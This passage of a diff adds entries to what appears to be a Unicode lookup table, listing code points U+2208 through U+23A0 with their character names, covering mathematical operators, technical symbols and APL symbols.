+ [0x2208, 0x2208], /* ELEMENT OF */
+ [0x2209, 0x2209], /* NOT AN ELEMENT OF */
+ [0x220a, 0x220a], /* SMALL ELEMENT OF */
+ [0x220b, 0x220b], /* CONTAINS AS MEMBER */
+ [0x220c, 0x220c], /* DOES NOT CONTAIN AS MEMBER */
+ [0x220d, 0x220d], /* SMALL CONTAINS AS MEMBER */
+ [0x220e, 0x220e], /* END OF PROOF */
+ [0x220f, 0x220f], /* N-ARY PRODUCT */
+ [0x2210, 0x2210], /* N-ARY COPRODUCT */
+ [0x2211, 0x2211], /* N-ARY SUMMATION */
+ [0x2212, 0x2212], /* MINUS SIGN */
+ [0x2213, 0x2213], /* MINUS-OR-PLUS SIGN */
+ [0x2214, 0x2214], /* DOT PLUS */
+ [0x2215, 0x2215], /* DIVISION SLASH */
+ [0x2216, 0x2216], /* SET MINUS */
+ [0x2217, 0x2217], /* ASTERISK OPERATOR */
+ [0x2218, 0x2218], /* RING OPERATOR */
+ [0x2219, 0x2219], /* BULLET OPERATOR */
+ [0x221a, 0x221a], /* SQUARE ROOT */
+ [0x221b, 0x221b], /* CUBE ROOT */
+ [0x221c, 0x221c], /* FOURTH ROOT */
+ [0x221d, 0x221d], /* PROPORTIONAL TO */
+ [0x221e, 0x221e], /* INFINITY */
+ [0x221f, 0x221f], /* RIGHT ANGLE */
+ [0x2220, 0x2220], /* ANGLE */
+ [0x2221, 0x2221], /* MEASURED ANGLE */
+ [0x2222, 0x2222], /* SPHERICAL ANGLE */
+ [0x2223, 0x2223], /* DIVIDES */
+ [0x2224, 0x2224], /* DOES NOT DIVIDE */
+ [0x2225, 0x2225], /* PARALLEL TO */
+ [0x2226, 0x2226], /* NOT PARALLEL TO */
+ [0x2227, 0x2227], /* LOGICAL AND */
+ [0x2228, 0x2228], /* LOGICAL OR */
+ [0x2229, 0x2229], /* INTERSECTION */
+ [0x222a, 0x222a], /* UNION */
+ [0x222b, 0x222b], /* INTEGRAL */
+ [0x222c, 0x222c], /* DOUBLE INTEGRAL */
+ [0x222d, 0x222d], /* TRIPLE INTEGRAL */
+ [0x222e, 0x222e], /* CONTOUR INTEGRAL */
+ [0x222f, 0x222f], /* SURFACE INTEGRAL */
+ [0x2230, 0x2230], /* VOLUME INTEGRAL */
+ [0x2231, 0x2231], /* CLOCKWISE INTEGRAL */
+ [0x2232, 0x2232], /* CLOCKWISE CONTOUR INTEGRAL */
+ [0x2233, 0x2233], /* ANTICLOCKWISE CONTOUR INTEGRAL */
+ [0x2234, 0x2234], /* THEREFORE */
+ [0x2235, 0x2235], /* BECAUSE */
+ [0x2236, 0x2236], /* RATIO */
+ [0x2237, 0x2237], /* PROPORTION */
+ [0x2238, 0x2238], /* DOT MINUS */
+ [0x2239, 0x2239], /* EXCESS */
+ [0x223a, 0x223a], /* GEOMETRIC PROPORTION */
+ [0x223b, 0x223b], /* HOMOTHETIC */
+ [0x223c, 0x223c], /* TILDE OPERATOR */
+ [0x223d, 0x223d], /* REVERSED TILDE */
+ [0x223e, 0x223e], /* INVERTED LAZY S */
+ [0x223f, 0x223f], /* SINE WAVE */
+ [0x2240, 0x2240], /* WREATH PRODUCT */
+ [0x2241, 0x2241], /* NOT TILDE */
+ [0x2242, 0x2242], /* MINUS TILDE */
+ [0x2243, 0x2243], /* ASYMPTOTICALLY EQUAL TO */
+ [0x2244, 0x2244], /* NOT ASYMPTOTICALLY EQUAL TO */
+ [0x2245, 0x2245], /* APPROXIMATELY EQUAL TO */
+ [0x2246, 0x2246], /* APPROXIMATELY BUT NOT ACTUALLY EQUAL TO */
+ [0x2247, 0x2247], /* NEITHER APPROXIMATELY NOR ACTUALLY EQUAL TO */
+ [0x2248, 0x2248], /* ALMOST EQUAL TO */
+ [0x2249, 0x2249], /* NOT ALMOST EQUAL TO */
+ [0x224a, 0x224a], /* ALMOST EQUAL OR EQUAL TO */
+ [0x224b, 0x224b], /* TRIPLE TILDE */
+ [0x224c, 0x224c], /* ALL EQUAL TO */
+ [0x224d, 0x224d], /* EQUIVALENT TO */
+ [0x224e, 0x224e], /* GEOMETRICALLY EQUIVALENT TO */
+ [0x224f, 0x224f], /* DIFFERENCE BETWEEN */
+ [0x2250, 0x2250], /* APPROACHES THE LIMIT */
+ [0x2251, 0x2251], /* GEOMETRICALLY EQUAL TO */
+ [0x2252, 0x2252], /* APPROXIMATELY EQUAL TO OR THE IMAGE OF */
+ [0x2253, 0x2253], /* IMAGE OF OR APPROXIMATELY EQUAL TO */
+ [0x2254, 0x2254], /* COLON EQUALS (COLON EQUAL) */
+ [0x2255, 0x2255], /* EQUALS COLON (EQUAL COLON) */
+ [0x2256, 0x2256], /* RING IN EQUAL TO */
+ [0x2257, 0x2257], /* RING EQUAL TO */
+ [0x2258, 0x2258], /* CORRESPONDS TO */
+ [0x2259, 0x2259], /* ESTIMATES */
+ [0x225a, 0x225a], /* EQUIANGULAR TO */
+ [0x225b, 0x225b], /* STAR EQUALS */
+ [0x225c, 0x225c], /* DELTA EQUAL TO */
+ [0x225d, 0x225d], /* EQUAL TO BY DEFINITION */
+ [0x225e, 0x225e], /* MEASURED BY */
+ [0x225f, 0x225f], /* QUESTIONED EQUAL TO */
+ [0x2260, 0x2260], /* NOT EQUAL TO */
+ [0x2261, 0x2261], /* IDENTICAL TO */
+ [0x2262, 0x2262], /* NOT IDENTICAL TO */
+ [0x2263, 0x2263], /* STRICTLY EQUIVALENT TO */
+ [0x2264, 0x2264], /* LESS-THAN OR EQUAL TO (LESS THAN OR EQUAL TO) */
+ [0x2265, 0x2265], /* GREATER-THAN OR EQUAL TO (GREATER THAN OR EQUAL TO) */
+ [0x2266, 0x2266], /* LESS-THAN OVER EQUAL TO (LESS THAN OVER EQUAL TO) */
+ [0x2267, 0x2267], /* GREATER-THAN OVER EQUAL TO (GREATER THAN OVER EQUAL TO) */
+ [0x2268, 0x2268], /* LESS-THAN BUT NOT EQUAL TO (LESS THAN BUT NOT EQUAL TO) */
+ [0x2269, 0x2269], /* GREATER-THAN BUT NOT EQUAL TO (GREATER THAN BUT NOT EQUAL TO) */
+ [0x226a, 0x226a], /* MUCH LESS-THAN (MUCH LESS THAN) */
+ [0x226b, 0x226b], /* MUCH GREATER-THAN (MUCH GREATER THAN) */
+ [0x226c, 0x226c], /* BETWEEN */
+ [0x226d, 0x226d], /* NOT EQUIVALENT TO */
+ [0x226e, 0x226e], /* NOT LESS-THAN (NOT LESS THAN) */
+ [0x226f, 0x226f], /* NOT GREATER-THAN (NOT GREATER THAN) */
+ [0x2270, 0x2270], /* NEITHER LESS-THAN NOR EQUAL TO (NEITHER LESS THAN NOR EQUAL TO) */
+ [0x2271, 0x2271], /* NEITHER GREATER-THAN NOR EQUAL TO (NEITHER GREATER THAN NOR EQUAL TO) */
+ [0x2272, 0x2272], /* LESS-THAN OR EQUIVALENT TO (LESS THAN OR EQUIVALENT TO) */
+ [0x2273, 0x2273], /* GREATER-THAN OR EQUIVALENT TO (GREATER THAN OR EQUIVALENT TO) */
+ [0x2274, 0x2274], /* NEITHER LESS-THAN NOR EQUIVALENT TO (NEITHER LESS THAN NOR EQUIVALENT TO) */
+ [0x2275, 0x2275], /* NEITHER GREATER-THAN NOR EQUIVALENT TO (NEITHER GREATER THAN NOR EQUIVALENT TO) */
+ [0x2276, 0x2276], /* LESS-THAN OR GREATER-THAN (LESS THAN OR GREATER THAN) */
+ [0x2277, 0x2277], /* GREATER-THAN OR LESS-THAN (GREATER THAN OR LESS THAN) */
+ [0x2278, 0x2278], /* NEITHER LESS-THAN NOR GREATER-THAN (NEITHER LESS THAN NOR GREATER THAN) */
+ [0x2279, 0x2279], /* NEITHER GREATER-THAN NOR LESS-THAN (NEITHER GREATER THAN NOR LESS THAN) */
+ [0x227a, 0x227a], /* PRECEDES */
+ [0x227b, 0x227b], /* SUCCEEDS */
+ [0x227c, 0x227c], /* PRECEDES OR EQUAL TO */
+ [0x227d, 0x227d], /* SUCCEEDS OR EQUAL TO */
+ [0x227e, 0x227e], /* PRECEDES OR EQUIVALENT TO */
+ [0x227f, 0x227f], /* SUCCEEDS OR EQUIVALENT TO */
+ [0x2280, 0x2280], /* DOES NOT PRECEDE */
+ [0x2281, 0x2281], /* DOES NOT SUCCEED */
+ [0x2282, 0x2282], /* SUBSET OF */
+ [0x2283, 0x2283], /* SUPERSET OF */
+ [0x2284, 0x2284], /* NOT A SUBSET OF */
+ [0x2285, 0x2285], /* NOT A SUPERSET OF */
+ [0x2286, 0x2286], /* SUBSET OF OR EQUAL TO */
+ [0x2287, 0x2287], /* SUPERSET OF OR EQUAL TO */
+ [0x2288, 0x2288], /* NEITHER A SUBSET OF NOR EQUAL TO */
+ [0x2289, 0x2289], /* NEITHER A SUPERSET OF NOR EQUAL TO */
+ [0x228a, 0x228a], /* SUBSET OF WITH NOT EQUAL TO (SUBSET OF OR NOT EQUAL TO) */
+ [0x228b, 0x228b], /* SUPERSET OF WITH NOT EQUAL TO (SUPERSET OF OR NOT EQUAL TO) */
+ [0x228c, 0x228c], /* MULTISET */
+ [0x228d, 0x228d], /* MULTISET MULTIPLICATION */
+ [0x228e, 0x228e], /* MULTISET UNION */
+ [0x228f, 0x228f], /* SQUARE IMAGE OF */
+ [0x2290, 0x2290], /* SQUARE ORIGINAL OF */
+ [0x2291, 0x2291], /* SQUARE IMAGE OF OR EQUAL TO */
+ [0x2292, 0x2292], /* SQUARE ORIGINAL OF OR EQUAL TO */
+ [0x2293, 0x2293], /* SQUARE CAP */
+ [0x2294, 0x2294], /* SQUARE CUP */
+ [0x2295, 0x2295], /* CIRCLED PLUS */
+ [0x2296, 0x2296], /* CIRCLED MINUS */
+ [0x2297, 0x2297], /* CIRCLED TIMES */
+ [0x2298, 0x2298], /* CIRCLED DIVISION SLASH */
+ [0x2299, 0x2299], /* CIRCLED DOT OPERATOR */
+ [0x229a, 0x229a], /* CIRCLED RING OPERATOR */
+ [0x229b, 0x229b], /* CIRCLED ASTERISK OPERATOR */
+ [0x229c, 0x229c], /* CIRCLED EQUALS */
+ [0x229d, 0x229d], /* CIRCLED DASH */
+ [0x229e, 0x229e], /* SQUARED PLUS */
+ [0x229f, 0x229f], /* SQUARED MINUS */
+ [0x22a0, 0x22a0], /* SQUARED TIMES */
+ [0x22a1, 0x22a1], /* SQUARED DOT OPERATOR */
+ [0x22a2, 0x22a2], /* RIGHT TACK */
+ [0x22a3, 0x22a3], /* LEFT TACK */
+ [0x22a4, 0x22a4], /* DOWN TACK */
+ [0x22a5, 0x22a5], /* UP TACK */
+ [0x22a6, 0x22a6], /* ASSERTION */
+ [0x22a7, 0x22a7], /* MODELS */
+ [0x22a8, 0x22a8], /* TRUE */
+ [0x22a9, 0x22a9], /* FORCES */
+ [0x22aa, 0x22aa], /* TRIPLE VERTICAL BAR RIGHT TURNSTILE */
+ [0x22ab, 0x22ab], /* DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE */
+ [0x22ac, 0x22ac], /* DOES NOT PROVE */
+ [0x22ad, 0x22ad], /* NOT TRUE */
+ [0x22ae, 0x22ae], /* DOES NOT FORCE */
+ [0x22af, 0x22af], /* NEGATED DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE */
+ [0x22b0, 0x22b0], /* PRECEDES UNDER RELATION */
+ [0x22b1, 0x22b1], /* SUCCEEDS UNDER RELATION */
+ [0x22b2, 0x22b2], /* NORMAL SUBGROUP OF */
+ [0x22b3, 0x22b3], /* CONTAINS AS NORMAL SUBGROUP */
+ [0x22b4, 0x22b4], /* NORMAL SUBGROUP OF OR EQUAL TO */
+ [0x22b5, 0x22b5], /* CONTAINS AS NORMAL SUBGROUP OR EQUAL TO */
+ [0x22b6, 0x22b6], /* ORIGINAL OF */
+ [0x22b7, 0x22b7], /* IMAGE OF */
+ [0x22b8, 0x22b8], /* MULTIMAP */
+ [0x22b9, 0x22b9], /* HERMITIAN CONJUGATE MATRIX */
+ [0x22ba, 0x22ba], /* INTERCALATE */
+ [0x22bb, 0x22bb], /* XOR */
+ [0x22bc, 0x22bc], /* NAND */
+ [0x22bd, 0x22bd], /* NOR */
+ [0x22be, 0x22be], /* RIGHT ANGLE WITH ARC */
+ [0x22bf, 0x22bf], /* RIGHT TRIANGLE */
+ [0x22c0, 0x22c0], /* N-ARY LOGICAL AND */
+ [0x22c1, 0x22c1], /* N-ARY LOGICAL OR */
+ [0x22c2, 0x22c2], /* N-ARY INTERSECTION */
+ [0x22c3, 0x22c3], /* N-ARY UNION */
+ [0x22c4, 0x22c4], /* DIAMOND OPERATOR */
+ [0x22c5, 0x22c5], /* DOT OPERATOR */
+ [0x22c6, 0x22c6], /* STAR OPERATOR */
+ [0x22c7, 0x22c7], /* DIVISION TIMES */
+ [0x22c8, 0x22c8], /* BOWTIE */
+ [0x22c9, 0x22c9], /* LEFT NORMAL FACTOR SEMIDIRECT PRODUCT */
+ [0x22ca, 0x22ca], /* RIGHT NORMAL FACTOR SEMIDIRECT PRODUCT */
+ [0x22cb, 0x22cb], /* LEFT SEMIDIRECT PRODUCT */
+ [0x22cc, 0x22cc], /* RIGHT SEMIDIRECT PRODUCT */
+ [0x22cd, 0x22cd], /* REVERSED TILDE EQUALS */
+ [0x22ce, 0x22ce], /* CURLY LOGICAL OR */
+ [0x22cf, 0x22cf], /* CURLY LOGICAL AND */
+ [0x22d0, 0x22d0], /* DOUBLE SUBSET */
+ [0x22d1, 0x22d1], /* DOUBLE SUPERSET */
+ [0x22d2, 0x22d2], /* DOUBLE INTERSECTION */
+ [0x22d3, 0x22d3], /* DOUBLE UNION */
+ [0x22d4, 0x22d4], /* PITCHFORK */
+ [0x22d5, 0x22d5], /* EQUAL AND PARALLEL TO */
+ [0x22d6, 0x22d6], /* LESS-THAN WITH DOT (LESS THAN WITH DOT) */
+ [0x22d7, 0x22d7], /* GREATER-THAN WITH DOT (GREATER THAN WITH DOT) */
+ [0x22d8, 0x22d8], /* VERY MUCH LESS-THAN (VERY MUCH LESS THAN) */
+ [0x22d9, 0x22d9], /* VERY MUCH GREATER-THAN (VERY MUCH GREATER THAN) */
+ [0x22da, 0x22da], /* LESS-THAN EQUAL TO OR GREATER-THAN (LESS THAN EQUAL TO OR GREATER THAN) */
+ [0x22db, 0x22db], /* GREATER-THAN EQUAL TO OR LESS-THAN (GREATER THAN EQUAL TO OR LESS THAN) */
+ [0x22dc, 0x22dc], /* EQUAL TO OR LESS-THAN (EQUAL TO OR LESS THAN) */
+ [0x22dd, 0x22dd], /* EQUAL TO OR GREATER-THAN (EQUAL TO OR GREATER THAN) */
+ [0x22de, 0x22de], /* EQUAL TO OR PRECEDES */
+ [0x22df, 0x22df], /* EQUAL TO OR SUCCEEDS */
+ [0x22e0, 0x22e0], /* DOES NOT PRECEDE OR EQUAL */
+ [0x22e1, 0x22e1], /* DOES NOT SUCCEED OR EQUAL */
+ [0x22e2, 0x22e2], /* NOT SQUARE IMAGE OF OR EQUAL TO */
+ [0x22e3, 0x22e3], /* NOT SQUARE ORIGINAL OF OR EQUAL TO */
+ [0x22e4, 0x22e4], /* SQUARE IMAGE OF OR NOT EQUAL TO */
+ [0x22e5, 0x22e5], /* SQUARE ORIGINAL OF OR NOT EQUAL TO */
+ [0x22e6, 0x22e6], /* LESS-THAN BUT NOT EQUIVALENT TO (LESS THAN BUT NOT EQUIVALENT TO) */
+ [0x22e7, 0x22e7], /* GREATER-THAN BUT NOT EQUIVALENT TO (GREATER THAN BUT NOT EQUIVALENT TO) */
+ [0x22e8, 0x22e8], /* PRECEDES BUT NOT EQUIVALENT TO */
+ [0x22e9, 0x22e9], /* SUCCEEDS BUT NOT EQUIVALENT TO */
+ [0x22ea, 0x22ea], /* NOT NORMAL SUBGROUP OF */
+ [0x22eb, 0x22eb], /* DOES NOT CONTAIN AS NORMAL SUBGROUP */
+ [0x22ec, 0x22ec], /* NOT NORMAL SUBGROUP OF OR EQUAL TO */
+ [0x22ed, 0x22ed], /* DOES NOT CONTAIN AS NORMAL SUBGROUP OR EQUAL */
+ [0x22ee, 0x22ee], /* VERTICAL ELLIPSIS */
+ [0x22ef, 0x22ef], /* MIDLINE HORIZONTAL ELLIPSIS */
+ [0x22f0, 0x22f0], /* UP RIGHT DIAGONAL ELLIPSIS */
+ [0x22f1, 0x22f1], /* DOWN RIGHT DIAGONAL ELLIPSIS */
+ [0x22f2, 0x22f2], /* ELEMENT OF WITH LONG HORIZONTAL STROKE */
+ [0x22f3, 0x22f3], /* ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ [0x22f4, 0x22f4], /* SMALL ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ [0x22f5, 0x22f5], /* ELEMENT OF WITH DOT ABOVE */
+ [0x22f6, 0x22f6], /* ELEMENT OF WITH OVERBAR */
+ [0x22f7, 0x22f7], /* SMALL ELEMENT OF WITH OVERBAR */
+ [0x22f8, 0x22f8], /* ELEMENT OF WITH UNDERBAR */
+ [0x22f9, 0x22f9], /* ELEMENT OF WITH TWO HORIZONTAL STROKES */
+ [0x22fa, 0x22fa], /* CONTAINS WITH LONG HORIZONTAL STROKE */
+ [0x22fb, 0x22fb], /* CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ [0x22fc, 0x22fc], /* SMALL CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ [0x22fd, 0x22fd], /* CONTAINS WITH OVERBAR */
+ [0x22fe, 0x22fe], /* SMALL CONTAINS WITH OVERBAR */
+ [0x22ff, 0x22ff], /* Z NOTATION BAG MEMBERSHIP */
+ [0x2300, 0x2300], /* DIAMETER SIGN */
+ [0x2301, 0x2301], /* ELECTRIC ARROW */
+ [0x2302, 0x2302], /* HOUSE */
+ [0x2303, 0x2303], /* UP ARROWHEAD */
+ [0x2304, 0x2304], /* DOWN ARROWHEAD */
+ [0x2305, 0x2305], /* PROJECTIVE */
+ [0x2306, 0x2306], /* PERSPECTIVE */
+ [0x2307, 0x2307], /* WAVY LINE */
+ [0x2308, 0x2308], /* LEFT CEILING */
+ [0x2309, 0x2309], /* RIGHT CEILING */
+ [0x230a, 0x230a], /* LEFT FLOOR */
+ [0x230b, 0x230b], /* RIGHT FLOOR */
+ [0x230c, 0x230c], /* BOTTOM RIGHT CROP */
+ [0x230d, 0x230d], /* BOTTOM LEFT CROP */
+ [0x230e, 0x230e], /* TOP RIGHT CROP */
+ [0x230f, 0x230f], /* TOP LEFT CROP */
+ [0x2310, 0x2310], /* REVERSED NOT SIGN */
+ [0x2311, 0x2311], /* SQUARE LOZENGE */
+ [0x2312, 0x2312], /* ARC */
+ [0x2313, 0x2313], /* SEGMENT */
+ [0x2314, 0x2314], /* SECTOR */
+ [0x2315, 0x2315], /* TELEPHONE RECORDER */
+ [0x2316, 0x2316], /* POSITION INDICATOR */
+ [0x2317, 0x2317], /* VIEWDATA SQUARE */
+ [0x2318, 0x2318], /* PLACE OF INTEREST SIGN (COMMAND KEY) */
+ [0x2319, 0x2319], /* TURNED NOT SIGN */
+ [0x231a, 0x231a], /* WATCH */
+ [0x231b, 0x231b], /* HOURGLASS */
+ [0x231c, 0x231c], /* TOP LEFT CORNER */
+ [0x231d, 0x231d], /* TOP RIGHT CORNER */
+ [0x231e, 0x231e], /* BOTTOM LEFT CORNER */
+ [0x231f, 0x231f], /* BOTTOM RIGHT CORNER */
+ [0x2320, 0x2320], /* TOP HALF INTEGRAL */
+ [0x2321, 0x2321], /* BOTTOM HALF INTEGRAL */
+ [0x2322, 0x2322], /* FROWN */
+ [0x2323, 0x2323], /* SMILE */
+ [0x2324, 0x2324], /* UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS (ENTER KEY) */
+ [0x2325, 0x2325], /* OPTION KEY */
+ [0x2326, 0x2326], /* ERASE TO THE RIGHT (DELETE TO THE RIGHT KEY) */
+ [0x2327, 0x2327], /* X IN A RECTANGLE BOX (CLEAR KEY) */
+ [0x2328, 0x2328], /* KEYBOARD */
+ [0x2329, 0x2329], /* LEFT-POINTING ANGLE BRACKET (BRA) */
+ [0x232a, 0x232a], /* RIGHT-POINTING ANGLE BRACKET (KET) */
+ [0x232b, 0x232b], /* ERASE TO THE LEFT (DELETE TO THE LEFT KEY) */
+ [0x232c, 0x232c], /* BENZENE RING */
+ [0x232d, 0x232d], /* CYLINDRICITY */
+ [0x232e, 0x232e], /* ALL AROUND-PROFILE */
+ [0x232f, 0x232f], /* SYMMETRY */
+ [0x2330, 0x2330], /* TOTAL RUNOUT */
+ [0x2331, 0x2331], /* DIMENSION ORIGIN */
+ [0x2332, 0x2332], /* CONICAL TAPER */
+ [0x2333, 0x2333], /* SLOPE */
+ [0x2334, 0x2334], /* COUNTERBORE */
+ [0x2335, 0x2335], /* COUNTERSINK */
+ [0x2336, 0x2336], /* APL FUNCTIONAL SYMBOL I-BEAM */
+ [0x2337, 0x2337], /* APL FUNCTIONAL SYMBOL SQUISH QUAD */
+ [0x2338, 0x2338], /* APL FUNCTIONAL SYMBOL QUAD EQUAL */
+ [0x2339, 0x2339], /* APL FUNCTIONAL SYMBOL QUAD DIVIDE */
+ [0x233a, 0x233a], /* APL FUNCTIONAL SYMBOL QUAD DIAMOND */
+ [0x233b, 0x233b], /* APL FUNCTIONAL SYMBOL QUAD JOT */
+ [0x233c, 0x233c], /* APL FUNCTIONAL SYMBOL QUAD CIRCLE */
+ [0x233d, 0x233d], /* APL FUNCTIONAL SYMBOL CIRCLE STILE */
+ [0x233e, 0x233e], /* APL FUNCTIONAL SYMBOL CIRCLE JOT */
+ [0x233f, 0x233f], /* APL FUNCTIONAL SYMBOL SLASH BAR */
+ [0x2340, 0x2340], /* APL FUNCTIONAL SYMBOL BACKSLASH BAR */
+ [0x2341, 0x2341], /* APL FUNCTIONAL SYMBOL QUAD SLASH */
+ [0x2342, 0x2342], /* APL FUNCTIONAL SYMBOL QUAD BACKSLASH */
+ [0x2343, 0x2343], /* APL FUNCTIONAL SYMBOL QUAD LESS-THAN */
+ [0x2344, 0x2344], /* APL FUNCTIONAL SYMBOL QUAD GREATER-THAN */
+ [0x2345, 0x2345], /* APL FUNCTIONAL SYMBOL LEFTWARDS VANE */
+ [0x2346, 0x2346], /* APL FUNCTIONAL SYMBOL RIGHTWARDS VANE */
+ [0x2347, 0x2347], /* APL FUNCTIONAL SYMBOL QUAD LEFTWARDS ARROW */
+ [0x2348, 0x2348], /* APL FUNCTIONAL SYMBOL QUAD RIGHTWARDS ARROW */
+ [0x2349, 0x2349], /* APL FUNCTIONAL SYMBOL CIRCLE BACKSLASH */
+ [0x234a, 0x234a], /* APL FUNCTIONAL SYMBOL DOWN TACK UNDERBAR */
+ [0x234b, 0x234b], /* APL FUNCTIONAL SYMBOL DELTA STILE */
+ [0x234c, 0x234c], /* APL FUNCTIONAL SYMBOL QUAD DOWN CARET */
+ [0x234d, 0x234d], /* APL FUNCTIONAL SYMBOL QUAD DELTA */
+ [0x234e, 0x234e], /* APL FUNCTIONAL SYMBOL DOWN TACK JOT */
+ [0x234f, 0x234f], /* APL FUNCTIONAL SYMBOL UPWARDS VANE */
+ [0x2350, 0x2350], /* APL FUNCTIONAL SYMBOL QUAD UPWARDS ARROW */
+ [0x2351, 0x2351], /* APL FUNCTIONAL SYMBOL UP TACK OVERBAR */
+ [0x2352, 0x2352], /* APL FUNCTIONAL SYMBOL DEL STILE */
+ [0x2353, 0x2353], /* APL FUNCTIONAL SYMBOL QUAD UP CARET */
+ [0x2354, 0x2354], /* APL FUNCTIONAL SYMBOL QUAD DEL */
+ [0x2355, 0x2355], /* APL FUNCTIONAL SYMBOL UP TACK JOT */
+ [0x2356, 0x2356], /* APL FUNCTIONAL SYMBOL DOWNWARDS VANE */
+ [0x2357, 0x2357], /* APL FUNCTIONAL SYMBOL QUAD DOWNWARDS ARROW */
+ [0x2358, 0x2358], /* APL FUNCTIONAL SYMBOL QUOTE UNDERBAR */
+ [0x2359, 0x2359], /* APL FUNCTIONAL SYMBOL DELTA UNDERBAR */
+ [0x235a, 0x235a], /* APL FUNCTIONAL SYMBOL DIAMOND UNDERBAR */
+ [0x235b, 0x235b], /* APL FUNCTIONAL SYMBOL JOT UNDERBAR */
+ [0x235c, 0x235c], /* APL FUNCTIONAL SYMBOL CIRCLE UNDERBAR */
+ [0x235d, 0x235d], /* APL FUNCTIONAL SYMBOL UP SHOE JOT */
+ [0x235e, 0x235e], /* APL FUNCTIONAL SYMBOL QUOTE QUAD */
+ [0x235f, 0x235f], /* APL FUNCTIONAL SYMBOL CIRCLE STAR */
+ [0x2360, 0x2360], /* APL FUNCTIONAL SYMBOL QUAD COLON */
+ [0x2361, 0x2361], /* APL FUNCTIONAL SYMBOL UP TACK DIAERESIS */
+ [0x2362, 0x2362], /* APL FUNCTIONAL SYMBOL DEL DIAERESIS */
+ [0x2363, 0x2363], /* APL FUNCTIONAL SYMBOL STAR DIAERESIS */
+ [0x2364, 0x2364], /* APL FUNCTIONAL SYMBOL JOT DIAERESIS */
+ [0x2365, 0x2365], /* APL FUNCTIONAL SYMBOL CIRCLE DIAERESIS */
+ [0x2366, 0x2366], /* APL FUNCTIONAL SYMBOL DOWN SHOE STILE */
+ [0x2367, 0x2367], /* APL FUNCTIONAL SYMBOL LEFT SHOE STILE */
+ [0x2368, 0x2368], /* APL FUNCTIONAL SYMBOL TILDE DIAERESIS */
+ [0x2369, 0x2369], /* APL FUNCTIONAL SYMBOL GREATER-THAN DIAERESIS */
+ [0x236a, 0x236a], /* APL FUNCTIONAL SYMBOL COMMA BAR */
+ [0x236b, 0x236b], /* APL FUNCTIONAL SYMBOL DEL TILDE */
+ [0x236c, 0x236c], /* APL FUNCTIONAL SYMBOL ZILDE */
+ [0x236d, 0x236d], /* APL FUNCTIONAL SYMBOL STILE TILDE */
+ [0x236e, 0x236e], /* APL FUNCTIONAL SYMBOL SEMICOLON UNDERBAR */
+ [0x236f, 0x236f], /* APL FUNCTIONAL SYMBOL QUAD NOT EQUAL */
+ [0x2370, 0x2370], /* APL FUNCTIONAL SYMBOL QUAD QUESTION */
+ [0x2371, 0x2371], /* APL FUNCTIONAL SYMBOL DOWN CARET TILDE */
+ [0x2372, 0x2372], /* APL FUNCTIONAL SYMBOL UP CARET TILDE */
+ [0x2373, 0x2373], /* APL FUNCTIONAL SYMBOL IOTA */
+ [0x2374, 0x2374], /* APL FUNCTIONAL SYMBOL RHO */
+ [0x2375, 0x2375], /* APL FUNCTIONAL SYMBOL OMEGA */
+ [0x2376, 0x2376], /* APL FUNCTIONAL SYMBOL ALPHA UNDERBAR */
+ [0x2377, 0x2377], /* APL FUNCTIONAL SYMBOL EPSILON UNDERBAR */
+ [0x2378, 0x2378], /* APL FUNCTIONAL SYMBOL IOTA UNDERBAR */
+ [0x2379, 0x2379], /* APL FUNCTIONAL SYMBOL OMEGA UNDERBAR */
+ [0x237a, 0x237a], /* APL FUNCTIONAL SYMBOL ALPHA */
+ [0x237b, 0x237b], /* NOT CHECK MARK */
+ [0x237c, 0x237c], /* RIGHT ANGLE WITH DOWNWARDS ZIGZAG ARROW */
+ [0x237d, 0x237d], /* SHOULDERED OPEN BOX */
+ [0x237e, 0x237e], /* BELL SYMBOL */
+ [0x237f, 0x237f], /* VERTICAL LINE WITH MIDDLE DOT */
+ [0x2380, 0x2380], /* INSERTION SYMBOL */
+ [0x2381, 0x2381], /* CONTINUOUS UNDERLINE SYMBOL */
+ [0x2382, 0x2382], /* DISCONTINUOUS UNDERLINE SYMBOL */
+ [0x2383, 0x2383], /* EMPHASIS SYMBOL */
+ [0x2384, 0x2384], /* COMPOSITION SYMBOL */
+ [0x2385, 0x2385], /* WHITE SQUARE WITH CENTRE VERTICAL LINE */
+ [0x2386, 0x2386], /* ENTER SYMBOL */
+ [0x2387, 0x2387], /* ALTERNATIVE KEY SYMBOL */
+ [0x2388, 0x2388], /* HELM SYMBOL */
+ [0x2389, 0x2389], /* CIRCLED HORIZONTAL BAR WITH NOTCH */
+ [0x238a, 0x238a], /* CIRCLED TRIANGLE DOWN */
+ [0x238b, 0x238b], /* BROKEN CIRCLE WITH NORTHWEST ARROW */
+ [0x238c, 0x238c], /* UNDO SYMBOL */
+ [0x238d, 0x238d], /* MONOSTABLE SYMBOL */
+ [0x238e, 0x238e], /* HYSTERESIS SYMBOL */
+ [0x238f, 0x238f], /* OPEN-CIRCUIT-OUTPUT H-TYPE SYMBOL */
+ [0x2390, 0x2390], /* OPEN-CIRCUIT-OUTPUT L-TYPE SYMBOL */
+ [0x2391, 0x2391], /* PASSIVE-PULL-DOWN-OUTPUT SYMBOL */
+ [0x2392, 0x2392], /* PASSIVE-PULL-UP-OUTPUT SYMBOL */
+ [0x2393, 0x2393], /* DIRECT CURRENT SYMBOL FORM TWO */
+ [0x2394, 0x2394], /* SOFTWARE-FUNCTION SYMBOL */
+ [0x2395, 0x2395], /* APL FUNCTIONAL SYMBOL QUAD */
+ [0x2396, 0x2396], /* DECIMAL SEPARATOR KEY SYMBOL */
+ [0x2397, 0x2397], /* PREVIOUS PAGE */
+ [0x2398, 0x2398], /* NEXT PAGE */
+ [0x2399, 0x2399], /* PRINT SCREEN SYMBOL */
+ [0x239a, 0x239a], /* CLEAR SCREEN SYMBOL */
+ [0x239b, 0x239b], /* LEFT PARENTHESIS UPPER HOOK */
+ [0x239c, 0x239c], /* LEFT PARENTHESIS EXTENSION */
+ [0x239d, 0x239d], /* LEFT PARENTHESIS LOWER HOOK */
+ [0x239e, 0x239e], /* RIGHT PARENTHESIS UPPER HOOK */
+ [0x239f, 0x239f], /* RIGHT PARENTHESIS EXTENSION */
+ [0x23a0, 0x23a0], /* RIGHT PARENTHESIS LOWER HOOK */
